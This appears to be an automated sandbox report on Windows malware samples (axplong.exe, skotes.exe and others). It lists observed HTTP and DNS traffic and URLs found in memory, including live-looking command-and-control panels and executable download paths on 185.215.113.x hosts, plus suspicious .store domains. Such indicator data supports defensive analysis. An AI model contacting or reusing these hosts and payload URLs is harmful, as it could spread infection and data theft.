Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Fri, 01 Nov 2024 10:53:58 GMTIf-None-Match: "6724b346-207200"
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Fri, 01 Nov 2024 10:53:44 GMTIf-None-Match: "6724b338-2cd400"
Source: global traffic	HTTP traffic detected: GET /soka/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Fri, 01 Nov 2024 11:30:58 GMTIf-None-Match: "6724bbf2-2ab000"
Source: global traffic	HTTP traffic detected: GET /files/FontCreator.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: time.windows.com
Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: skotes.exe, 00000014.00000003.2603426144.00000000014A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/216e50adc2dd0a1bfe522b3effbbd4e64e3aa636b77#d
Source: axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000002.2624043773.0000000001A26000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php
Source: axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php(y
Source: axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php/zs
Source: axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php0yf
Source: axplong.exe, 00000004.00000002.2624043773.0000000001A50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php2
Source: axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php4xz
Source: axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php509001
Source: axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.php8
Source: axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpE
Source: axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpKw
Source: axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpKwTx
Source: axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpKwdxJ
Source: axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpLx
Source: axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpb1a30a186ec2d30be6db0b5
Source: axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpdedLs
Source: axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncoded
Source: axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpncodedLs
Source: axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpnu
Source: axplong.exe, 00000004.00000002.2624043773.0000000001A50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Jo89Ku7d/index.phpt
Source: skotes.exe, 00000014.00000003.2603426144.00000000014A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Y
Source: axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/f49fa1f45a5fea9f5c7cf18216e50adc2dd0a1bfe522b3effbbd4e64e3aa636b77#
Source: skotes.exe, 00000010.00000002.2624931539.0000000001415000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000010.00000002.2624931539.000000000138E000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000010.00000002.2624931539.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/files/FontCreator.exe
Source: skotes.exe, 00000010.00000002.2624931539.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/files/FontCreator.exe001%
Source: skotes.exe, 00000010.00000002.2624931539.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/files/FontCreator.exe27
Source: skotes.exe, 00000010.00000002.2624931539.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/files/FontCreator.exe27f
Source: skotes.exe, 00000010.00000002.2624931539.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/files/FontCreator.exe27fae1daa8e9ea1e2feb1d830b44e42dLg
Source: skotes.exe, 00000010.00000002.2624931539.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/files/FontCreator.exe2fx
Source: skotes.exe, 00000010.00000002.2624931539.000000000138E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/files/FontCreator.exe3142001
Source: skotes.exe, 00000010.00000002.2624931539.000000000138E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/files/FontCreator.exeAppData
Source: skotes.exe, 00000010.00000002.2624931539.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/files/FontCreator.exeded
Source: axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000010.00000002.2624931539.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000010.00000002.2624931539.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeR
Source: axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp, axplong.exe, 00000004.00000002.2624043773.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeW
Source: axplong.exe, 00000004.00000003.2128010715.0000000001A6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exec
Source: 59d7339838.exe, 0000000A.00000003.2136537230.0000000000656000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: skotes.exe, 00000014.00000003.2603426144.00000000014A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeg
Source: skotes.exe, 00000014.00000003.2603426144.00000000014A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exelq
Source: 59d7339838.exe	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 59d7339838.exe, 0000000A.00000003.2136404680.00000000006AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeBI
Source: skotes.exe, 00000010.00000002.2624931539.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe
Source: skotes.exe, 00000010.00000002.2624931539.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeH
Source: skotes.exe, 00000010.00000002.2624931539.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exemg6g#
Source: 59d7339838.exe, 0000000A.00000003.2136404680.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/qh
Source: skotes.exe, 00000010.00000002.2624931539.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exe6
Source: skotes.exe, 00000010.00000002.2624931539.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/soka/random.exee
Source: axplong.exe, 00000004.00000002.2624043773.0000000001A50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 00000010.00000002.2624931539.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe9
Source: skotes.exe, 00000010.00000002.2624931539.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeO
Source: 59d7339838.exe, 0000000A.00000003.2136404680.000000000069E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/mine/random.exeo
Source: b02ca6c530.exe, 0000000E.00000002.2221405720.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: b02ca6c530.exe, 0000000E.00000002.2221405720.0000000000E6B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: b02ca6c530.exe, 0000000B.00000002.2051095271.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp, b02ca6c530.exe, 0000000B.00000002.2051095271.0000000000E8A000.00000004.00000020.00020000.00000000.sdmp, b02ca6c530.exe, 0000000B.00000002.2051095271.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp, b02ca6c530.exe, 0000000E.00000002.2221405720.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: b02ca6c530.exe, 0000000E.00000002.2221405720.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php#?j
Source: b02ca6c530.exe, 00000007.00000002.1921852326.0000000000FEB000.00000004.00000020.00020000.00000000.sdmp, b02ca6c530.exe, 0000000B.00000002.2051095271.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: b02ca6c530.exe, 00000007.00000002.1921852326.0000000001001000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php3O
Source: b02ca6c530.exe, 0000000E.00000002.2221405720.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php4
Source: b02ca6c530.exe, 0000000E.00000002.2221405720.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpC?
Source: b02ca6c530.exe, 00000007.00000002.1921852326.0000000001001000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpCO
Source: b02ca6c530.exe, 0000000E.00000002.2221405720.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpW?
Source: b02ca6c530.exe, 00000007.00000002.1921852326.0000000000FD3000.00000004.00000020.00020000.00000000.sdmp, b02ca6c530.exe, 0000000B.00000002.2051095271.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpX
Source: b02ca6c530.exe, 00000007.00000002.1921852326.0000000001001000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php_O
Source: b02ca6c530.exe, 0000000B.00000002.2051095271.0000000000EB5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpl
Source: b02ca6c530.exe, 0000000B.00000002.2051095271.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/?
Source: b02ca6c530.exe, 0000000E.00000002.2221405720.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/Y-o
Source: b02ca6c530.exe, 0000000E.00000002.2221405720.0000000000EA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/en-GB
Source: b02ca6c530.exe, 00000007.00000002.1921852326.0000000000FEB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/i
Source: b02ca6c530.exe, 0000000E.00000002.2221405720.0000000000EC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: b02ca6c530.exe, 0000000B.00000002.2051095271.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.2060
Source: b02ca6c530.exe, 0000000B.00000002.2051095271.0000000000E4B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206;
Source: skotes.exe, 00000010.00000002.2624931539.0000000001415000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000010.00000002.2624931539.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000010.00000002.2624931539.00000000013C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php;
Source: skotes.exe, 00000010.00000002.2624931539.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpA
Source: skotes.exe, 00000010.00000002.2624931539.00000000013EA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpm
Source: skotes.exe, 00000010.00000002.2624931539.0000000001415000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu7raf
Source: 59d7339838.exe, 0000000A.00000003.1997344390.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2155731724.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2318019333.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2437318224.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 59d7339838.exe, 0000000A.00000003.1997344390.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2155731724.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2318019333.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2437318224.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 59d7339838.exe, 00000012.00000003.2360162514.0000000001423000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2347631367.0000000001423000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2335735123.0000000001423000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2377537459.0000000001465000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2276772871.0000000001423000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: 59d7339838.exe, 0000000A.00000003.1997344390.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2155731724.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2318019333.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2437318224.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 59d7339838.exe, 0000000A.00000003.1997344390.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2155731724.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2318019333.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2437318224.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 59d7339838.exe, 0000000A.00000003.1997344390.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2155731724.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2318019333.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2437318224.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 59d7339838.exe, 0000000A.00000003.1997344390.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2155731724.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2318019333.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2437318224.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 59d7339838.exe, 0000000A.00000003.1997344390.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2155731724.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2318019333.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2437318224.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 59d7339838.exe, 0000000A.00000003.1997344390.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2155731724.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2318019333.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2437318224.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 59d7339838.exe, 0000000A.00000003.1997344390.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2155731724.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2318019333.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2437318224.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 59d7339838.exe, 0000000A.00000003.1997344390.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2155731724.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2318019333.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2437318224.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 59d7339838.exe, 0000000A.00000003.1997344390.00000000053FE000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2155731724.0000000005E0D000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2318019333.0000000005C43000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2437318224.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 59d7339838.exe, 0000000A.00000003.1965363887.000000000530A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1965289154.0000000005322000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2118375919.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2289536496.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405210580.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405630308.0000000005B39000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405358378.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 59d7339838.exe, 0000000A.00000003.2025879148.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2320171523.0000000001476000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: 59d7339838.exe, 59d7339838.exe, 0000000A.00000003.2025900566.00000000006AF000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2029426845.00000000006B9000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2028887073.00000000006B4000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.2026453534.00000000006AF000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2335940997.0000000001474000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2335735123.000000000146C000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2453369895.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2453727803.0000000005AFD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: 59d7339838.exe, 0000000A.00000003.1965363887.000000000530A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1965289154.0000000005322000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2118375919.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2289536496.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405210580.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405630308.0000000005B39000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405358378.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 59d7339838.exe, 0000000A.00000003.1965363887.000000000530A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1965289154.0000000005322000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2118375919.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2289536496.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405210580.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405630308.0000000005B39000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405358378.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 59d7339838.exe, 0000000A.00000003.1965363887.000000000530A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000A.00000003.1965289154.0000000005322000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 0000000C.00000003.2118375919.0000000005D4A000.00000004.00000800.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2289536496.0000000005C5C000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405210580.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405630308.0000000005B39000.00000004.00000800.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2405358378.0000000005B39000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 59d7339838.exe, 0000000A.00000003.2025879148.00000000006BA000.00000004.00000020.00020000.00000000.sdmp, 59d7339838.exe, 00000012.00000003.2320171523.0000000001476000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000014.00000003.2439773428.0000000005B00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
